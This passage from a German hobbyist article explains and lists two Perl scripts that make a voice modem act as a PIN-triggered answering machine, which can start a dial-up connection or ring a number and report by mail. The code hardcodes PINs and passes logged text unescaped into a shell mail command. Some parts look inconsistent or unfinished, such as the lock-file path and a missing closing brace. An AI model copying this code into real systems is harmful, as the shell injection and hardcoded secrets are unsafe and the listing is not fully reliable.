Ich habe deshalb das Caller Script und das Perl Script, was auf die Eingaben von verschiedenen PIN Nummern reagiert getrennt. Die beiden Programme kommunizieren über eine Lock Datei /var/lock/modemcontrol.lock und je nachdem, ob die richtige bzw. welche richtige PIN eingegeben wurde, steht halt ein anderer Wert in der Lock Datei.

Das zweite Perl Script (looklock.pl) wird mittels crontab jede Minute ausgeführt, schaut dann in diese Lock Datei, wertet sie aus und reagiet darauf. Wenn es jemandem gelingt eine bessere Lösung zu finden, bin ich natürlich ganz Ohr, aber so funktioniert es auf jeden Fall auch genauso wie ich es mir vorgestellt habe.

Und ganz nebenbei: Wie reagiert eigentlich das Caller Script wenn eine falsche PIN eingegeben wurde?

Anfangs hab ich das Modem sofort auflegen lassen, sobald eine falsche Taste gedrückt wurde, bis mich ein Freund darauf hingewiesen hat, daß man so sehr einfach die PIN durch probieren kann und man erfährt sogar die Länge der PIN! Tja... War echt nicht so ne tolle Idee...

In der neuen Version legt das Programm allerdings nur auf, wenn die (oder eine) richtige PIN eingegeben wurde. Wird eine falsche PIN eingegeben, kann man sich tot tippen die Verbindung bleibt bestehen.

Schnell noch eine kurze Erklärung, wie man mit RMD Dateien um zu gehen hat. Wenn man jetzt einen Sound vom Modem aufgenommen hat bzw. eine WAV Datei über das Modem als Begrüßung abspielen möchte, dann muß man diese Datei erstmal in ein für das Modem verständliches Format konvertieren werden.

Vgetty bringt dazu die Tools gleich mit.

Über wavtopvf WAV-file | pvftormd > rmdfile kann man eine WAV Datei in eine rmd Datei konvertieren.

Oder Mittels: rmdtopvf rmd-file | pvftowav > wavfile eine rmd Datei in eine WAV Datei.

Dabei wählt das Programm immer die optimale (höchste) Bitrate zum konvertieren aus. Man kann allerdings auch über die Option -s den Speed angeben, falls das Modem wie bei mir nur eine bestimmt Geschwindigkeit der Sounddateien unterstützt

. Aber jetzt gehts ab in die Sourcen der beiden Perl Scripte!!!

---:[ Modemcontrol.pl  --  Ein ungewöhnlicher Anrufbeantworter
#!/usr/bin/perl
#
# ---:[ Modemcontrol -- Playing around with a voice modem
#
# ---:[ Programmed by Bastian Ballmann
#
###[ Loading modules ]###
use Modem::Vgetty;
$Modem::Vgetty::Testing = 1;
###[ Configuration ]###
# PIN
$pin = "66666";
# PIN 2
$pin2 = "775566";
# Logfile
$logfile = "/var/log/modemcontrol.log";
# Sound zur Begruessung
$greet = "/var/spool/voice/messages/greet/tach.rmd";
# In welchem Ordner werden neue Gespraeche abgelegt?
$speechdir = "/var/spool/voice/incoming";
# Timeout in Sekunden
$timeout = 300;
#
###[ MAIN PART ]###
#
# Zerlege die PIN Nummern
@pin = split(//,$pin);
@pin2 = split(//,$pin2);
# Welche PIN wird gerade eingegeben?
$current_pin = 000;
@current_pin = ();
$pin_id = 0;
# Dateiname fuer aufgezeichnete Gespraeche
my $num = 0;
$num++ while(-r "$speechdir/$num.rmd");
$speechfile = "$num.rmd";
# Welcher Tach is denn heut?
$logtime = localtime(time);
# Count right and wrong DTMF tones
$counter = 0;
$failed = 0;
# Eingegebene PIN
$dtmf_string = "";
# Mail Array
@mail = ();
# Lege Vgetty Objekt an
my $modem = new Modem::Vgetty;
# Beim Alarm Signal, Record abbrechen
local $SIG{ALRM} = sub { $modem->stop; };
# Stoppe automatisch das Abspielen der Sounds, wenn der Anrufer
# eine Taste drueckt
$modem->autostop(qw(ON));
# Reagiere auf DTMF Toene, Stille und Busy Ton
$modem->add_handler('RECEIVED_DTMF',"pin",\&read_dtmf);
$modem->add_handler('BUSY_TONE',"killme", \&killme);
$modem->enable_events;
# Anrufer begruessen! =)
$modem->play_and_wait($greet);
$modem->play_and_wait($greet2);
$modem->beep(150,100);
$modem->beep(150,100);
$modem->beep(150,100);
$modem->waitfor('READY');
# Warte die Länge des PIN eingegeben wurde
while($counter != length($current_pin))
{
# Solange keine PIN Eingabe erfolgt, versuchen wir mal das
# Gespraech auf zu zeichnen
$modem->record("$speechdir/$speechfile");
alarm $timeout;
$modem->waitfor('READY');
}
# PIN is OK
if($counter == length($current_pin))
{
push @mail, "Received PIN $pin_id!!!";
&write_log("Received PIN $pin_id!!!");
&write_lock($pin_id);
}
# Der Anrufer hat nicht versucht eine PIN einzugeben
if(($counter < length($pin)) && ($failed == 0))
{
&killme;
}
#
###[ Subroutines ]###
# Read DTMF input
sub read_dtmf
{
my ($self,$input,$dtmf) = @_;
$self->stop;
&write_log("Received DTMF! $dtmf");
# Der Anrufer gibt die erste Zahl der PIN ein
if($current_pin == 000)
{
if($dtmf == $pin[$counter])
{
$counter++;
$pin_id = 1;
$current_pin = $pin;
@current_pin = @pin;
}
elsif($dtmf == $pin2[$counter])
{
$counter++;
$pin_id = 2;
$current_pin = $pin2;
@current_pin = @pin2;
}
else
{
$failed++;
}
}
else
{
if($dtmf == $current_pin[$counter])
{
$counter++;
}
else
{
$failed++;
}
}
$dtmf_string .= $dtmf;
}
# Write the log file
sub write_log
{
my $msg = shift;
push @mail,$msg;
open(LOG,">>$logfile");
print LOG "$logtime   $msg\n";
close(LOG);
}
# Mail to root and exit program
sub killme
{
$mail = join / /, @mail;
system"echo $mail | mail root";
exit(0);
}
sub write_lock
{
my $code = shift;
open(LOCK,">/var/lock/modemcontrol");
print LOCK "$code\n";
close(LOCK);
}

---:[ Looklock.pl -- Something to do?

#!/usr/bin/perl
#
# Wenn die PIN, die ein Anrufer eingegeben hat richtig war,
# ist der Wert in /var/lock/modemcontrol != 0
# Dann soll eine Aktion ausgefuehrt werden!
#
###[ Loading modules ]###
use IO::Socket;
#
###[ Configuration ]###
# Logfile
my $logfile = "/var/log/modemcontrol.log";
# Mailserver
$mailserver = "smtp.wtf.de";
# MAIL FROM
$mail_from = "bytebeater\@crazydj.de";
# MAIL TO
$mail_to = "bytebeater\@crazydj.de";
# Subject
$subject = "Crazymodem is online! =)";
#
###[ MAIN PART ]###
#
$logtime = localtime(time);
my $wvdial = 0;
# Read lock file
open(LOCK,"</var/lock/modemcontrol");
@lock = <LOCK>;
close(LOCK);
# Richtige PIN eingegeben?
# Starte wvdial
if($lock[0] == 1)
{
open(LOCK,">/var/lock/modemcontrol");
print LOCK "0";
close(LOCK);
&connect();
}
# Rufe eine bestimmte Telefonnummer an
elsif($lock[0] == 2)
{
open(LOCK,">/var/lock/modemcontrol");
print LOCK "0";
close(LOCK);
&dial_number;
}
#
###[ Subroutines ]###
#
sub connect
{
if($wvdial == 0)
{
$wvdial = 1;
# Starte Child Prozess
&mkchild('wvdial');
&write_log("Starting wvdial");
}
# Lese die Prozess Tabelle ein und warte bis pppd gestartet wurde
$pppd = 0;
&write_log('Waiting for pppd process');
while($pppd == 0)
{
open(PS,"ps -e|");
while(<PS>)
{
if($_ =~ /pppd/)
{
$pppd = 1;
}
}
close(PS);
}
sleep 4;
@mail = ('I am online.');
$socket = new IO::Socket::INET(PeerAddr => $mailserver, PeerPort => '25', Proto => 'tcp') || &connect;
&write_log("Connected to $mailserver. Sending mail to $mail_to");
$echo = <$socket>;
&write_log($echo);
print $socket "HELO du.da\r\n";
$echo = <$socket>;
&write_log($echo);
print $socket "MAIL FROM: $mail_from\r\n";
$echo = <$socket>;
&write_log($echo);
print $socket "RCPT TO: $mail_to\r\n";
$echo = <$socket>;
&write_log($echo);
print $socket "DATA\r\n";
$echo = <$socket>;
&write_log($echo);
print $socket "From: $mail_from\r\n";
print $socket "To: $mail_to\r\n";
print $socket "Subject: $subject\r\n";
for(@mail)
{
print $socket "$_\r\n";
}
print $socket "Have phun!!! ;-D\r\n";
print $socket ".\r\n";
$echo = <$socket>;
&write_log($echo);
print $socket "QUIT\r\n";
$echo = <$socket>;
&write_log($echo);
close($socket);
#
###[ Subroutines ]###
#
# Dial a telephone number via wvdial
sub dial_number
{
&write_log('Rufe XY an! =)');
&mkchild('wvdial XY');
# Lasse 2x klingeln und lege auf
sleep 13;
system"killall wvdial";
}
# Create a child process
sub mkchild
{
my $command = shift;
my $options = shift;
# Fork the child
if($pid = fork())
{
return;
}
# Hierhin kommt nur der Child Prozess
# Starte wvdial
system"$command";
exit(0);
}
# Write the logfile
sub write_log
{
my $msg = shift;
open(LOG,">>$logfile");
print LOG "$logtime   $msg\n";
close(LOG);